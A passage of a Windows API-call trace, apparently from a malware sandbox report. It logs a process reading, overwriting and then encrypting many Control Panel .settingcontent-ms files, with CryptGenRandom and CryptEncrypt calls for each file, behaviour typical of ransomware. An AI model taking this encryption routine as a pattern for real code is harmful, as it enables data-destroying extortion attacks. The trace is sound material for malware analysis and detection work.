lpNumberOfBytesRead=0x2e1f9bc*=0x3b3, lpOverlapped=0x0) returned 1 [0194.383] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-947, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.383] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3b3, lpOverlapped=0x0) returned 1 [0194.384] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3b3 [0194.384] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.384] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.384] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.384] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.385] CloseHandle (hObject=0x1c24) returned 1 [0194.386] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0194.386] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.386] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{F3FD1F8E-B34A-49AE-95B9-5DBEAB5BFB49}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.386] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x410, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x410, lpOverlapped=0x0) returned 1 [0194.393] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.393] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x410, lpOverlapped=0x0) returned 1 [0194.394] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x410 [0194.394] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.394] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.394] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.394] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.394] CloseHandle (hObject=0x1c24) returned 1 [0194.396] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0194.396] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.396] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{F2E71049-6F88-4A3B-9475-5A2B40B36092}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.396] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x498, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x498, lpOverlapped=0x0) returned 1 [0194.398] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1176, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.398] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x498, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x498, lpOverlapped=0x0) returned 1 [0194.398] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x498 [0194.398] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.398] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.398] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.399] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.399] CloseHandle (hObject=0x1c24) returned 1 [0194.400] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.400] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0194.400] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{f2ddfc82-8f12-4cdd-b7dc-d4fe1425aa4d}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.400] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x338, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x338, lpOverlapped=0x0) returned 1 [0194.402] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.402] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x338, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x338, lpOverlapped=0x0) returned 1 [0194.402] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x338 [0194.402] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.402] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.402] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.402] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.403] CloseHandle (hObject=0x1c24) returned 1 [0194.405] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.405] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0194.406] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{F120B10E-C882-4613-955F-B4DF13C6E803}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.406] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3ec, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3ec, lpOverlapped=0x0) returned 1 [0194.407] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1004, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.407] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3ec, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3ec, lpOverlapped=0x0) returned 1 [0194.407] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3ec [0194.407] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.407] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.408] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.408] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.408] CloseHandle (hObject=0x1c24) returned 1 [0194.411] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.411] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.411] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{F0E02D62-6C1D-4eb3-AC47-F8401425C6BC}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.411] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3e2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3e2, lpOverlapped=0x0) returned 1 [0194.412] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-994, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.412] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3e2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3e2, lpOverlapped=0x0) returned 1 [0194.413] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3e2 [0194.413] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.413] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.413] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.413] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.413] CloseHandle (hObject=0x1c24) returned 1 [0194.415] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0194.415] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0194.415] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{F025B6FD-D1CA-4a32-9BEB-DBEF1D2F6926}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.415] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x389, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x389, lpOverlapped=0x0) returned 1 [0194.417] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-905, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.417] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x389, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x389, lpOverlapped=0x0) returned 1 [0194.417] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x389 [0194.417] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.417] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.417] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.417] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.418] CloseHandle (hObject=0x1c24) returned 1 [0194.419] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0194.419] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.419] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{EFACECBA-BCCD-468B-BAB3-7CA40A898982}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.420] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x495, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x495, lpOverlapped=0x0) returned 1 [0194.421] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1173, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.421] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x495, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x495, lpOverlapped=0x0) returned 1 [0194.421] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x495 [0194.421] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.421] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.421] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.422] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.422] CloseHandle (hObject=0x1c24) returned 1 [0194.423] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0194.423] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.423] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{EF8F379B-747B-4C8E-B3D1-4A29E6CF45AE}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.424] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3c8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3c8, lpOverlapped=0x0) returned 1 [0194.425] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-968, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.425] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3c8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3c8, lpOverlapped=0x0) returned 1 [0194.425] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3c8 [0194.425] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.425] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.425] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.426] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.426] CloseHandle (hObject=0x1c24) returned 1 [0194.434] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0194.434] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.434] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{EF462183-352B-4DCF-811C-07FA7CFCD5AC}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.435] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3d9, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3d9, lpOverlapped=0x0) returned 1 [0194.436] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-985, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.436] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3d9, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3d9, lpOverlapped=0x0) returned 1 [0194.437] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3d9 [0194.437] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.437] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.437] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.438] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.438] CloseHandle (hObject=0x1c24) returned 1 [0194.439] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.439] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.439] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{EE439E7E-CE1E-4ABE-9EA8-50F12ED01FE0}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.440] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3da, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3da, lpOverlapped=0x0) returned 1 [0194.446] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-986, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.447] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3da, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3da, lpOverlapped=0x0) returned 1 [0194.447] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3da [0194.447] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | 